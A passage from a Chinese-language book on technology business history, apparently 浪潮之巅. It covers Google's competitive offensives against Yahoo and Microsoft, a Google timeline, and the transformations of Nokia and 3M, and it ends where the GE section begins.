自己做了一款手机呢? Google 真实的目的是通过这款手机了解手机设计和制造的整个流程。Google 对前几款Android 手机都不是很满意，做出一款技术上达到极致的标杆性产品，能使它自己今后在和每个手机厂商谈判时有话语权。同时， Google 也有了很多第一手的经验，可以优化Android 本身和提供更好的云计算服务。当Google 达到这个目的后，就主动停住了自己手机的销售。最后，还有最关键的一点，就是免费的Android 如何挣钱。赔本赚吆喝的事情是不可能持久的。Google 挣钱的办法其实很简单，还是依靠广告。至于细节，就不便透露了。\n17.13 进攻，永远是最好的防守\n20 世纪最优秀的军事家之一的曼施坦因( Erich Von Manstein ，德国二战时的元帅。他虽然是纳粹德国的元帅，但是并没有加入纳粹党，仗打得还算干净， 没有滥杀无辜，因此二战后从监狱里放出来后，又担任了西德和北约的军事顾问)认为，当进攻的一方如果能快速推进并把对手打得措手不及时，它不需要防御它的侧翼。这被认为是闪电战的精髓。在这个思想的指导下，曼施坦因制定了6 个月灭亡法国的曼施坦因计划，并且被古德里安( Heinz Guderian )顺利实施。\n在商业竞争中，进攻常常也是最好的防守。Google 从小到大一直贯彻这个原则。Google 在很小的时候，受到很多比自己大的公司的围攻，死守是没有出路的。因此它把自己放在一个挑战者的位置，不断挑战对手，也挑战自己。在商业竞争中， Google 常常是两眼盯着前方向前冲，而不左顾右盼它的对手。\nGoogle 早期的服务以搜索为主，搜索引擎对于用户来讲不具有粘性。虽然Google 在技术上和市场占有率上有优势，但是根据以前网景公司的教训，这种优势可能一夜间消失殆尽。Google 当然担心比自己大得多的雅虎和微软蚕食自己的市场，但是， Google 不是通过防范对手的办法来保护自己，而是主动将战线推到对方的领域。毫无疑问，电子邮件Email 服务是最容易拴住用户的。在2003 年雅虎收购了好几个搜索引擎和广告公司后，它和Google 分道扬镶已经只是时间问题了。Google 在2004 年4月1 日愚人节那天推出了自己的电子邮件服务。Google 的杀手铜是1GB的邮箱，这是当时雅虎和微软Hotmail 邮箱容量的200 倍左右。这一举措，颠覆了雅虎和微软电子邮件的商业模式。在五联网络泡沫破碎后，广大网民已经开始接受\"大容量电子邮箱要收费\"这一观念，付钱给雅虎和微软以获得大邮箱(雅虎当时是250MB ， 每年20 美元左右)的用户数量增加很快。Google 给每个Gmail 的用户lG 的免费邮箱，使得整个互联网的电子邮件再也不可能直接收钱了。当时雅虎和微软各自有几亿电子邮件用户，每人给lG 的空间对它们来讲是一个很大的负担，但是它们为了和Google 竞争不得不采用Google 指定的游戏规则。而Google 刚刚开始电子邮件业务，乐于用lG 的空间换一个忠诚的用户。几年下来，Google的Gmail 已经成为全球第三大电子邮件用户群， 并且以比雅虎和微软更快的速度发展，同时拴住了很多用户。\n除了搜索和电子邮件，地图、图片和财经是传统互联网流量最大的三项服务。在Google 推出Gmail的同一年，又推出了地阁( Google Maps 和Google Earth )和图片服务( Google Picasa ) 。这两个领域以前都是雅虎的长项。显然， Google 如果眼在雅虎后面追赶， 很难超越对手， 它必须给用户一个全新的体验。Google 购买了卫星照片，将传统的电子地图和卫星照片结合在一起，为用户提供地球上每个地点真实的、三维的俯视阁。用惯了雅虎或美罔在线那种平面而且只有街区位置地图的人，看到Google 这种生动的详细到每个房子的地球真实缩影时，无不感到耳目一新。就如同一个老到的游戏玩家，忽然发现一个自己玩了多年的游戏原来还可以有很多新的没发现的玩法。毫不夸张地讲， Google 地图比以往的雅虎和美国在线的同类产品有质的飞跃。Google 的在线图片管理软件Picasa 后来居上，同样获得成功。当然， Google 的财经服务至今落后于雅虎， Google 的高层对此不很满意，干脆把这个项目下放到了印度去做。\n当微软宣布进入搜索领域后，给Google 带来了巨大的压力。Google 有了前一次同雅虎竞争的经验，不管微软用什么办法，自己采用一门心思往前冲的策略，先拉开和微软搜索的差距，然后将战火烧到对方的阵营。除了小应用程序搜索工具条， Google 最先推出的客户端软件当属本机搜索服务( Desktop Search) ，它是一个运行在个人微机上的自动索引文件和根据关键词查找自己文挡的软件。以前， 计算机用户发现，在互联网上用搜索引擎查找一个文件居然比在自己的微机上找自己的文件快，原因是自己微机上的文件没有索引。作为控制微机操作系统尤其是其中文件系统的微软，无疑应该在开发本机搜索软件上有优势。但是微软在这方面迟迟没有什么进展，倒不是因为微软没有意识到它的重要性，而是这种在本地微机上运行的搜索引擎太耗费资源(大约一半的CPU 资源和一半的硬盘空间) ,对于不经常做本地搜索的用户得不偿失。Google不管微软是怎么想的，自己便开发起来，并且很快推出了免费的产品，虽然Google 的本机搜索引擎也同样存在上述问题，但是却显示出它在开发客户端软件上可以和微软一比。这是Google 涉足微软领域的第一次尝试，虽然它的效果一般，因为它无法发挥Google 在服务器和互联网上的优势，但是Google 很高兴发现用户对搜自己计算机上的内容其实并不感兴趣。\n接下来Google 推出了类似于微软Office 的办公软件，包括字处理和电子表格等， Google 把它们统称Docs o Google 的办公软件和微软的Office有很大不同，首先，它是免费的; 其次，它是运行在数据中心的服务器上而不是个人微机上。Google 这一次充分利用了自己在云计算技术方面的优势。此刻，微软陷入了两难。如果将自己的办公软件Office 免费搬上网，微软将失去巨大的收入， Office 的收入占微软收入的1/3 左右。如果不提供免费的网络版，则看着Google 蚕食自己的市场。Google 有很大的互联网广告收入来支持免费软件的开销，而微软却很难采用Google 的商业模式，因为它不像Google 有自己的广告源，它的MSN 的在线广告长期靠雅虎和双击公司提供。起初，和微软功能完备的Office 比， Google的这个Docs 只能算是玩具，但就是这个玩具在Google 的不断优化下，加上强大的网络功能，很多中小企业使用起来居然比微软的Office 并不逊色。由于它分享文档的能力是Office 无法相比的，因此成为美国中学生一起做大作业、写报告的统一工具。经过三年的努力， Google Docs 终于到了可以挑战微软Office 的程度， 当然，这不是在收入上，而是市场份额上。以前，美国企业不得不每年按照微软的要求交Office 的使用费，现在它们有了第二选择，都纷纷要求微软降价一半，否则就不续约。伴随着市场占有率的上升就是商业上的成功。到2009 年，全球已经有超过一千万大小商家，从在道琼斯指数中的跨国公司，到几个人的牙医诊所使用Docs ，同时Docs 收入也以每年几倍的增长速度高速成长。在微软尚未渗入Google 的领域前， Google 通过进攻已打到了微软的后院。\n但是微软在互联网上的追求非常执着，经过对雅虎的失败，对Google 初期的失败，它依然矢志不渝。众所周知，要想在互联网上有发展，首先要有广告源，其次要有\"值钱的\"流量。Google 和雅虎这两个条件都具备，而微软的MSN 不具备，因此微软只有赔钱从Google 手中抢大的网站。双方第一回合的争夺战是美国在线，后者本来是Google 的同盟军。当它和Google 的搜索和广告合作到期后，微软试图给予美国在线更优惠的条件达成两家的合作，但是Google 很快以参股的形式锁定了美国在线。几年后， Google 承认它给美国在线的定价有点高了。但是，在当时的情况下把微软阻止在搜索市场以外就是胜利。2005 年后，互联网2.0 的概念被炒得火热，同时涌现出三个流量增长极快的互联网2.0 公司， MySpace 、YouTube 和Facebook。Google 用类似于争得美国在线合作的方法，很快搞定了MySpace ， 然后以16 亿美元的价钱收购了YouTube 。再加上Google 自己拥有的Blogger 和Orkut 两家大流量的网站，至此， Google在互联网2.0 的早期的布局非常圆满。但是5 年后， Google 唯一没有搞定的Facebook 成了官最有威胁的对手，虽然还不是最大的对手。至今，从重量级上看， Google 最强的对手依然是微软，后者有两倍高的利润，和同样的现金储备(到2010 年，都是400 亿美元)。Google 先发制人的做法完全堵死了微软进入互联网搜索业务的可能人口。随后Google 以30亿高价美元收购了除它自己和雅虎以外唯一的一家大型互联网广告公司双击，从而堵死了微软的互联网广告源。虽然微软后来以60 亿美元的高价收购了一家传统的广告公司，但是至今它在互联网广告上的进展仍然缓慢，这也是它在2008 年年初试图收购雅虎的原因。\nGoogle 在和比自己大很多的微软的竞争中， 一直采用攻势，它的市场份额才得以越来越稳固。2008 年9 月， Google 推出了自己的浏览器Chrome ，虽然它并没有比微软的IE 多出什么东西，但是它再次成为人们关注的焦点，因为浏览器是互联网时代最重要的客户端软件。当年，微软就是不遗余力地打压网景公司获得浏览器的控制权的。Google 此举无疑是摸了老虎屁股，表明了它挑战微软的决心。凭良心讲， Google 的Chrome 1.0 除了比微软的IE 速度快以外， 并没有给用户带来太多的新东西，而且比IE 的功能还少。但是， Google 推出这种简单的浏览器有它的深意，我们不能把它按照一般的客户端软件来评估，它是为了配合Google 的云计算设计的。在Google 的战略里，以后复杂的功能将通过云计算完成。Chrome 操作简单，速度快，而且便于搜索，正是要把用户往自己擅长的服务器端软件引导。如果它把所有功能都做在客户端，则正中了微软的下怀。Google 从来不是一个追求短期利益的公司，而是有长远的布局和耐心的。虽然Chrome 1. 0 不是微软IE 的对手，但是Google 用比微软更快的节奏不断推出2.0 、3.0 直到7.0 ，市场份额在两年多的时间里从0达到了15% ，而同时，微软的份额从90% 左右降到了50% 以下。\nGoogle 在3G 手机上的攻势，前面已经专门讲到，这里就不再重复了。\n当然， Google 也有不少失败的和尚未成功的\"进攻\" ，比如在社区开发平台上的努力，它的网上付费系统和在报纸、收音机等媒体上广告的尝试。这里面最失败的莫过于和比自己小很多的Facebook 的竞争。但是， Google是一个从不怕失败的公司。2011 年1 月20 日， Google 公司在公布季度财报时宣布，共同创始人拉里?佩奇将从这年4 月份起接替施密特担任Google 的CEO 。这显然是公司希望更加有活力，以应对和Facebook 日益激烈的竞争。Google 将在这位富于创新性的年轻领导人带领下谱写新的篇章。可以预见，它在今后的发展中仍然会大胆开拓新的领域，挑战对手，也挑战自己。\n结束语\nGoogle 的CEO 施密特在会见中国政府的官员时总是讲， Google 是个奇怪的地方。也许是因为Google 的年轻人太多，他们不大懂得传统也不拘泥传统，只要认准了对公司对社会有用， 就大胆去干。庆幸的是，以施密特为首的Google 的执行官们非常开明，任由年轻人自由发展，才有了无数的创新。Google 中国的总裁李开复总是讲， Google 是一个让他感到震撼的公司。其实， Google 是硅谷生产关系和文化的浓缩， Google 的所有现象，在硅谷其他公司或斯坦福大学，都能找到类似的痕迹。\nGoogle 大事记\n1998 Google 成立。\n1999 美国最大的两家风险投资公司K PCB 和红杉资本同时投资Google . 这是这两家公司第一次同时投资一家Startup 。\n2000 雅虎采用Google 的搜索引擎。\n2001 Google 推出搜索广告系统Adwords ，并于当年第4 季度实现盈利; 同年，埃里克? 施密特成为Google 正式的CEO 。\n2002 美国在线采用Google 的搜索引擎和广告系统I Google 占到为全球搜索流量的70% 。\n2003 Google 第二个广告产品Adsense 上线。\n2004 Google 采用竟饱的方式上市; 同军Google 革命性的Gmail和Google Earth 产品上线。\n2005 Google 中国公司成立。\n2006 Google 在线支付产晶Checkout 上线，效果极差， 成为Google 第一款失败的主要产品;同年Google 收购YouTube。\n2007 Android 联盟成立。\n2008 第一款基于Android的手机由HTC出厂，但是销路一般；同年Google推出Chrome 浏览器。\n2009 受金融危机的影响. Google 第一次裁员.但是很快回到增长的轨迹; 同年随着摩托罗拉Droid 手机的上市，Android 手机操作系统获得巨大的成功。\n2010 Google 的手机操作系统Android 市场占奇量超过苹果的iPhone，浏览器Chrome也从微软手中夺得15% 的市场份额， 但是官在社交网络上一直输给Facebook 。\n2011 共同创始人佩奇撞蕾施密特成为Google 新CEO 。\n第18章 成功的转基因：诺基亚、3M、GE\n我们在介绍基因决定定律的时候讲，一个公司的基因常常决定了它的命运。而转基因对于大多数公司来讲是近乎不可能的。但是凡事总有例外，总有一些了不起的公司成功地从一个衰退的行业转到新的高速发展的行业。这样，公司之间就有了伟大和平庸的差别。我们在这一章里将介绍三个不同的成功的例子，分别代表了三种不同的转基因的成功方法。\n18.1 从木工厂到手机之王（诺基亚 Nokia）\n诺基亚是“浪潮之巅”系列中介绍的唯一一家欧洲公司。我很少介绍欧洲公司倒不是因为它们不好或者不重要，只是他们在近百年科技发展中不具有太多的代表性。而诺基亚则不同，它自从在数字手机问世后，就一举超越了无线通信的老大摩托罗拉，成为世界手机制造商之王。它以全球百分之四十左右的市场份额，将竞争对手们远远抛在了后面。今天，诺基亚的名字和它的广告充斥世界的每一个角落，但是，可能大家不知道，一百年前，它不过是芬兰的一个木工厂。\n诺基亚作为一个公司，历史远比 ATT 和 IBM 长，但是作为一个科技公司历史和英特尔差不多，只有三四十年。1865 年，诺基亚诞生于芬兰美丽的 Tammerkoski 运河畔，而诺基亚是公司所在地的地名。公司的业务是木材加工和造纸（造纸要用到木材）。到了二十世纪初，它和一家芬兰塑料厂（Finland Plastic Works）合并。木材和塑料唯一的共同之处就是二者都算是“材料”。在当时，塑料可是高科技产品，它在很多地方取代了木材。从木材到塑料的进步，就好比从马车到汽车一样。但是作为一家传统工业的公司，诺基亚业绩平平。\n由于诺基亚能生电线的绝缘材料，因此它在成立了 100 年后，“很自然”地通过收购一家制造电话线和电话的工厂进入了电线和电话机市场。这时，诺基亚和“电”总是沾上了点边，但是仍然不带有任何技术。有点像珠江三角洲众多的电器加工厂。在接下来的二十年里，诺基亚除了传统的造纸，还做过轮胎，胶鞋，个人计算机，收音机，发电机，电视机，电子元器件等等五花八门的东西，但是诺基亚在商业上依然业绩平平。这时诺基亚的商业模式，用现在中国一句俗话讲，就是找不到北。\n但是诺基亚一直在不断寻找大的发展方向，在它的众多尝试中，有一项日后非常重要。就是它从上个世纪六十年代起为商业和军方用户制造的对讲机。开始它是和另一家公司同时开发，后来它收购了那家小公司。经过这些年的各种尝试，诺基亚积累了一些今后做手机用得到的技术，包括超高频（VHF）发射和接收技术，电子元器件制造的经验。到八十年代，它终于可以制造汽车电话了（这比摩托罗拉晚了几十年）。1982 年，诺基亚研制出一种可以移动的电话。注意这种可以移动的电话不仅和我们今天的手机是两回事，和最早的砖头大小的大哥大也根本不同。它实际上需要装在汽车里，或者背在背上，因为它有十公斤重。但是，它不同于以前摩托罗拉的对讲机，因为对讲机是无法和公用电话网相连的，而诺基亚的这种电话是可以和公共电话网相联的，可以和固定座机的电话通话。同一年，诺基亚推出了 DX2000 数字交换机，销售颇为成功。但是，诺基亚并没有因此而专注于通信领域，而是不断地在各个方位盲目扩张。到二十世纪八十年代末，诺基亚因为生意太分散，出现了严重的亏损。\n直到 1992 年，新任总裁约玛·奥利拉上台后，才将移动通信做为诺基亚的核心业务。这一决定使得诺基亚由一个普通的电子公司成长为全球移动通信的领导者。除了正确的决定外，诺基亚成功的关键还有三点，第一，抓住了移动通信从模拟到数字化的契机，第二，政府的大力扶植，第三，推翻了在模拟时代摩托罗拉制定的商业竞争规则。\n基于模拟电路和信号处理的第一代移动通信完全为美国的摩托罗拉公司垄断。七十年代后，随着数字信号处理技术和半导体技术的发展，基于数字电路和信号处理的第二代移动通信的计划渐渐浮出了水面。为了在第二代移动通信中能够赶上和超过美国，早在 1982 年，欧洲邮电管理委员会（European Conference of Postal and Telecommunications Administrations）就着手制定新一代的移动通信标准 Groupe Special Mobile，简称 GSM。GS M最初在欧洲有十几个国家参加，包括芬兰。诺基亚抓住了 GSM 启动的契机。第一个投入商业运行的 GSM 移动通信电话网络就是由一家芬兰公司运营的，其系统架构的主要技术支持公司是瑞典著名的爱立信公司，而手机的提供商则是诺基亚。\n诺基亚今后的命运很大程度上取决于 GSM 的前途。在二十世纪八十年代，全世界移动通信开始了从模拟时代到数字时代的飞跃。在模拟时代，摩托罗拉统治着整个行业。但到了数字时代，由于摩托罗拉行动太慢退回到和大家在同一条起跑线上，这个产业出现了群雄并起的局面。移动通信之争，首先表现的其标准之争上。欧洲经过协商，将标准统一在基于时分多址（TDMA）的 GSM 上。而美国却提出了好几个主要的标准，包括基于时分多址的 iDEN（其主要支持者是摩托罗拉），D-AMPS（其主要支持者有ATT）和码分多址（CDMA）的 CDMA-ONE（其主要支持者是高通QualComm），非常混乱。由于 GSM 得到了整个欧洲各国政府和工业界的支持，同时在芬兰以及欧洲其它国家运营获得了成功，这个标准在包括中国在内的大多数国家选型时，胜出了美国的标准。后来就连美国的一些运营商也被迫放弃了本国的标准，转而采用了欧洲的 GSM 标准。因此，在手机市场的竞争还没有完全进入高潮时，欧洲的公司就抢到了先机。\n诺基亚是 GSM 标准的最大得益者，它不仅在第二代手机的竞争开始时和摩托罗拉站在了同一条起跑线上，而且因为没有摩托罗拉第一代模拟手机的负担，轻装上阵，很快就成为全球的领跑者。1994 年，中国邮电部的部长们用诺基亚移动电话，在诺基亚提供的移动通信网络上打通了中国历史上第一个 GSM 电话。这标志着诺基亚顺利进入了全球最大的移动通信市场。在手机行业获得成功后，诺基亚从此专注于移动通信业务，用他们自己的话讲，就是专心、专注和专业。估计现在，我们已经找不到诺基亚的胶鞋和个人微机了。\n在诺基亚和欧美大公司的竞争中，芬兰政府给予了诺基亚极大的支持。前一阵一个中国的电视台在采访我时问道，我在浪潮之巅中很少提到政府的作用，到底美国政府给没给 IBM、微软和 Google 这些超级 IT 公司政策上和资金上的支持。一些来 Google 访问的中国政府官员也问过我同样的问题。其实美国政府很少帮助企业，尤其不会帮助已经成功的企业。但是，欧洲一些政府则不同，它们会比美国政府更直接地参与到经济活动中。银行也更积极地给大企业贷款。芬兰政府对诺基亚的支持就是一个很好的例子。这种支持却并不是像中国政府那样给予特殊的优惠政策，而是一种看似无形的却又非常有效的支持。\n首先，芬兰政府给诺基亚的支持是在人才上的支持。芬兰在欧洲近乎于一个社会主义国家，它为民众提供从小学到大学全部的免费教育。这就为诺基亚提供了人才保障。同时，作为一个小国，芬兰政府知道它不可能在世界经济的方方面面都领先，因此全国只专注几个产业，当然，移动通信是一个。而在芬兰的大学和研究所里，也就很少看到跟它产业结构不太相关的专业。\n第二，是让诺基亚等公司的老板们加入国家科技经济决策的圈子。芬兰成立国家科技政策委员会，包括政府总理、有关的部长和诺基亚等几个大公司的老板。这个委员会负责制定国家的科技发展方向，毫无疑问，诺基亚是其最大的受益者。在委员会下属又投资部门，相当于美国的风险投资，为科技公司提供资金。当然，国家科技政策委员会不会干预公司的发展，只是提供外部帮助，同时促进科技商品化。\n第三，芬兰政府积极地为诺基亚开拓海外市场。一方面，芬兰政府为芬兰企业进入国际市场做好后勤。它在几十个国家开办了各种形式的贸易中心，在市场信息收集、市场研究和市场开拓方面为诺基亚等芬兰企业建立了一整套快速高效的服务机制，使芬兰企业特别是诺基亚能够把握机遇，进入国际市场，并迅速成长起来。另一方面，芬兰积极参与全球经济一体化并在国际上参与商业竞争规则的制定。芬兰是第一个加入欧元区的北欧国家，并成为了欧洲一体化和全球化的最大收益者之一。\n诺基亚在手机市场上胜出摩托罗拉和自己邻居爱立信等公司的一个重要原因是，它颠覆了摩托罗拉在模拟移动通信时代制定的游戏规则，并主导了2G手机时代的游戏规则。在模拟时代，话音质量是手机好坏几乎唯一的标准，而摩托罗拉无疑在此方面占有优势。那时候，手机功能的多少并不重要，甚至使用的方便性也不如语音质量重要，因为话音质量不够好时，功能再多手机也无法使用。而到了数字手机时代，不同手机的话音质量相差不像以前那么大，这时手机的功能就变得非常重要了，再到后来手机的外观都变得重要起来。摩托罗拉由于思维的定式，在早期开发数字手机时，仍然以话音质量为核心，功能和外观的设计在同行中常常慢一个节拍。而诺基亚在很早就强调手机的功能、使用方便和外观。诺基亚的手机在功能上从不落后于任何竞争对手。更可贵的是，它的手机还以操作方便而著称，当用户买了一个新的诺基亚手机，不需要读说明书就可以使用。诺基亚最早将手机“碍事”的天线装到手机机壳里面，这样虽然牺牲了一些话音质量，但是使得手机便于携带。这样的设计，以前是不可能在技术决定论占主导的摩托罗拉通过的。但是，事实证明，这种设计更受消费者欢迎。现在，连摩托罗拉也采用这种设计了。\n当然这些特点竞争对手很容易学会。诺基亚为了在竞争中立于不败之地，一直保持着产品开发的快速灵活性。诺基亚手机推出的速度非常快，有时候换一个外壳就是一款新手机。诺基亚的这种做法摩托罗拉从来看不上，但是这种做法却获得了很好的营销效果。诺基亚手机的种类非常多，是为不同用户群分别设计的。这种做法相当人性化，比如营销人员、大学生和家庭主妇常用的功能是不同的。营销人员会要求电子邮件功能强大，大学生会喜欢拍照和短信功能，家庭主妇会以打电话为主，等等。诺基亚为不同人量身定制手机使得它的产品能获得各种消费者的青睐。\n当手机市场的竞争从信号处理技术的竞争变为了产品功能型、方便性和新颖性以及外观的竞争时，摩托罗拉等公司积累了几十年的经验就变得不那么重要了。诺基亚在不到十年内跳跃地超过了所有移动通信领域的对手，成为这个行业的主导者。\n诺基亚由一个地区性的木工厂发展到全球最大的手机厂商，原因可以简单概括为“长期探索、抓住机遇和制定规则”几个字。\n18.2 道琼斯的常青树（3M）\n世界上影响力最大的股票指数道琼斯，只覆盖了 30 个公司。但这三十个公司是美国经济中最具代表性、长期发展稳定并且关乎到美国经济命脉的大公司。道琼斯不断地淘汰过时的公司然后吸收新鲜血液，思科、英特尔和微软就是近年来被加入进去的。而许多曾经辉煌的公司比如美国钢铁和合并前的 ATT 就被淘汰出去了。由于美国和世界产业的变迁，能几十年一直在道琼斯指数中的公司寥寥无几，3M 公司便是这凤毛麟角中的一个。到 2007 年，3M 在全球有七万雇员，实现产值 240 亿美元，纯利润 40 亿美元。\n每个人了解3M的途径各不相同不同。很多人了解 3M 公司是它的 Scotch 胶带、而早期使用 PC 的人是因为它是的软磁盘，家庭主妇们可能是通过它的洗碗布知道 3M 的，而消费电子商品的各种从业者可能知道它是今天世界最大的液晶生产厂商之一，另外还有很多搞工程的人也直接和间接地和 3M 打过交道。没有人能完全说清楚 3M 是做什么的。有些读者可能会奇怪这个产品五花八门的公司和我们的“浪潮之巅”有什么关系。我把它引入这个系列是因为它是全世界公认的最具创新的公司，而且它是少数能在产业不断变迁的世界经济发展中不断发展的常青树。\n3M 公司的过去的全称为明尼苏达矿业和制造公司 Minnesota Mining and Manufacturing Company。它的首字母缩写是三个 M，人们习惯地称它 3M。到后来 3M 人所众知，而已经没有什么人知道它最初的名字了，从 2002 年起，它干脆改名为 3M 公司。\n3M 公司在二十世纪初诞生于明尼苏达的苏必利尔湖畔，最初是从事采矿业的，大家从它的名字就可以看出。为了和同行竞争，3M 公司的老板鼓励工人们发明创造新产品，并成立了研发部门，而那些新产品不断取代现有产品成为公司新的核心业务，使得公司不断成功转型。3M 公司至今最富传奇的故事就是 Scotch 胶带的发明。\n发明胶带的是3M的一位小人物卓尔（Dick Drew）。1925 年的一天，技术员卓尔到一家汽车喷漆厂去办事。当时美国流行双色汽车，但是喷漆是个麻烦事。当时的工艺很落后，汽车厂的工人先在车上喷上一种漆，然后用胶将旧报纸糊到车上挡住不需要喷漆的地方，然后喷上第二种漆。用胶水糊报纸的方法很难控制质量，胶涂少了粘不住报纸，第二种漆喷不整齐；胶水用多了，不仅擦不干净，还会破坏车身的美观。卓尔无意间听到工人们的抱怨，有心发明一种既能牢牢贴在两种颜色接头处，有可以很容易撕下来的胶带。\n卓尔回去后一个人私下里就研究起胶带了，老板看到他“不务正业”也没说什么，由得他按自己的想法去做。很快，卓尔就发明了一种不干胶带，取名为Scotch，原意是恶搞他的苏格兰（Scotchland）老板，想不到这种胶带和它的名字从此在全世界流行。从此，胶带成为了 3M 公司的主要业务，并且研制出各种各样适用于不同场合的交代。不要小看了这些小小的胶带，它的市场直到十年前还比整个半导体行业的市场大，而 3M 一度控制着全球四成胶带市场。不仅如此，胶带这里面的学问也很多。3M的胶带家族有光学透明双面胶带、光学透明胶、导电胶带、导热胶带、绝缘胶带、屏蔽胶带、高温胶带、热熔胶带、遮光胶带、黑白双面胶带和警示胶带等上百种，其中有一些我们既说不上名字又想象不到其用途。我自己曾经有过一次和特殊胶带打交道的奇遇。那次我乘坐的飞机从芝加哥到西雅图，在飞机里等了很久飞机还不起飞。机长告诉大家，机翼上有一个砖头大小的门无法关上。当时正值午夜，找不到机械师能在短时间内修好，所有的乘客都很着急。最后，航空公司决定用一种“高速胶带”将这个关不严的门粘住，然后把我们送上天。一路上，我提心吊胆，不时通过飞机的舷窗看着那块由胶带打的补丁，生怕它被风吹掉下来。让我欣慰的是，飞机以每小时九百公里的时速飞行了三个多小时，那块胶布居然没有被强风吹开。从那时起，我才渐渐懂得小小的胶布里大有学问。\n3M 公司至今发明了六万种大大小小的产品，全世界有一半的人每天直接或者间接地接触 3M 的产品。该公司营业额中有三分之一来自于近五年的发明，其中相当大的一部分是员工利于工作时间从事非工作的研究搞出来的。3M 允许员工用 15% 的时间干任何自己喜欢做的事，后来这个做法被 Google 学去了，变成了 Google 的“百分之二十项目”。在最具有创新力的公司里，3M 的排名更在 Google 和苹果这些以创新而闻名的公司前面。创新力是 3M 公司近百年来长盛不衰并且成功地从矿业公司转变为电子和日用品公司的更本原因。由于公司的每个员工脑子里总是有创新这根弦，3M 公司总是能随着时间科技的发展和产业的变革搞出一些有用的小发明。而这些看上去不大的发明却能开拓出一个不小的市场。\n八十年代，随着个人微机的普及，计算机软盘的用量大增，到九十年代中期的高峰期，全球软盘的市场规模达三十到四十亿美元。在八九十年代开始使用计算机的读者一定还记得 3M 的软盘，它被公认为是最好的软盘，当然价格也是最贵的。我自己了解 3M 便是从 3M 软盘开始的。3M 一直占领全球六分之一的软盘市场，市场份额在所以软盘厂家中最高。软盘是 IBM 发明的，IBM 之后世界上有了不下上百家软盘厂家，因为软盘算不上什么太高科技的产品。3M 能够后发制人，成为这个行业老大的原因，除了它总的产品质量一直稳定外，主要是靠一项发明专利—软盘中特殊的防霉套。解刨过软盘的读者知道，打开软盘的塑料外壳后，可以看到在磁碟和外壳之间有一层白色的布装保护膜，那就是软盘的防霉套。它的作用是防止软盘长霉菌，同时保证磁碟在转动时不会被塑料外壳划坏。几乎所有的软盘生产厂家都知道软盘中磁碟是核心，它的质量最重要，因此像样品牌的软盘磁碟反而都没有问题。而这小小的防霉套的质量就千差万别了，一些廉价的软盘厂商为了降低成本，采用很便宜的纸套子，这些软盘在磁碟还有很长寿命时就被劣质外套划坏了。3M靠这么一个小的发明，变产生了每年几亿美元的营业额。当然，在微机蓬勃发展时，3M成立了很大的存储设备部门，除了软盘外，还生产磁带，光盘和读写设备。\n当然，IT 行业更新很快，一个市场可能存在不了几年，同时又不断会有新的市场出现。大部分公司会随着一个产品市场的衰退而消失。比如我们现在已经看不到广泛使用了二十年的计算机软盘、广泛使用了三十年的录像带和录音带，以及有上百年历史的摄影胶卷。很多专门经营这些产品的公司包括著名的柯达公司，或者已经关门，或者江河日下。一个公司必须不断有新的产品推出才能弥补老产品不断萎缩的市场。同时，新的市场又催生新的公司。3M 总是有无数的发明作为技术储备，当新的市场起来时，它总是可以搭上新兴市场的快车。我们在前面的基因决定定律中讲到，在一个大公司内部，现有部门的主管因为为公司带来了利润会有很大的发言权，会自觉和不自觉地阻挠新产品部门的发展。为了顺利转型，公司在开发新的产品的同时，必须痛下决心把旧的分离出去。因此，当软盘、磁带和其它计算机存储设备成为发展慢、利润低的产品时，3M 果断地将这个部门分离出去单独上市，即现在的 Imation 公司。\n在软盘和计算机存储设备以后，3M成长最快的产品是液晶显示器产品。当然，液晶产品和存储设备是两回事，液晶产品的发明并不是又开发计算软盘的工程师利用15%的时间做的，而是 3M 原有的材料和化学部门的一些科学家工程师完成的。\n液晶是一种同时拥有固态晶体和液体双重特性的物质，“液晶”二字得名于此，它可以流动，又有晶体的光学性质。液晶对电磁场很敏感，在电磁场作用下，它分子的排列会发生变化，这样就可以通过控制光的偏振方向来决定光的亮度，并且根据这个原理制成显示薄膜。液晶在一百多年前就由奥地利科学家发明，但是八十多年后才被日本精工爱普生公司用于显示设备。3M 远不是液晶显示薄膜的发明者，甚至不是它早期的生产厂商，但是它却后来居上，成为当今世界上主要的液晶显示薄膜生产厂商。现在它的 40% 的年收入和三分之一的年利润来自于液晶产品。而这一业绩也是靠一项关键性的发明—增光膜（Bright Enhance Film，简称 BEF）。\n液晶薄膜作为显示器最大的问题是亮度不足，而3M公司的增光膜技术可以使得液晶薄膜的透光率提高一倍，因此采用 3M 公司 LCD 生产的显示器和电视机亮度高，色彩鲜艳，而且省电。3M 公司因此占领了 LCD 很大的市场。从 2007 年起，3M 公司的LCD销售额超过一百亿美元。\n一个公司成功一段时间不难，难的是能百年来长盛不衰。3M 作为一棵百年常青树，有很多成功的经验值得大家借鉴。3M也是商学院教程中研究得最多的公司之一。我个人认为它能不断转型的原因最关键的有三条：两条容易看到的和一条隐藏在背后的。\n第一条经验大多数学习管理的人都清楚，就是坚持以创新为公司的灵魂。3M 公司一直强调要有三分之一的营业额必须来自近几年的创新，这样它才能在科技不断发展的今天立于不败之地。为了鼓励创新，公司不仅放手给员工 15% 的工作时间用于创新，而且对于员工的工作安排和计划弹性非常大，这样才能保证让员工放手去干。3M 公司甚至希望各级主管对下属提出的、自己并不赞同的项目予以容忍和宽容，以免扼杀可能成功的发明。\n第二条也不难看到但是却不容易做到。3M 公司在适当的时候强制淘汰一些看似还在挣钱但是前景不是很好的产品。当 3M 公司的计算机存储设备和产品还能挣钱时，它果断地将它卖掉了。在很多经营者的脑子里，开拓新的业务没有必要放弃旧的业务，何况旧的业务还在挣钱。但是，正如我们在前面基因决定定律中指出的那样，旧的业务部门的主管们因为一直在为公司挣钱，因此在公司里发言权很大，很可能为了自己部门的利益，妨碍公司转型。因此，有长远发展眼光的公司会把一个发展前景不是很美妙的部门在它还值钱的时候卖出去。\n第三条是很多人忽视的，就是 3M 的发明和产品都是针对广大用户的，而且是消耗性的。这些产品相比针对企业的产品，营业额相对稳定，这一点非常非常重要。我们在前面提到过，当一个公司转型时，遇到的最大问题就是邯郸学步。旧的行业江河日下，收入在减少，而在新的行业是从头开始，失去了原有的优势，短时间挣不到利润。这样，整个公司效益下滑，很容易被华尔街投资者抛弃。但 3M 公司因为产品数量多，其中大多数产品销量和利润稳定，为 3M 提供了足够的财力保证它的新产品上市并占领市场。这一点，很多公司，尤其是专营企业产品和服务的公司，很难做到。因为企业级的产品和服务受经济大环境的影响太大，收入相对不如消费者产品来得稳定。\n这三条经验保证了 3M 公司百年来不断创新，长盛不衰。这些经验早被写进了教科书，但是，真正能做到的管理者不多，这才显示出 3M 不简单的地方。\n18.3 世界最大的联合体（GE）\n了解 GE 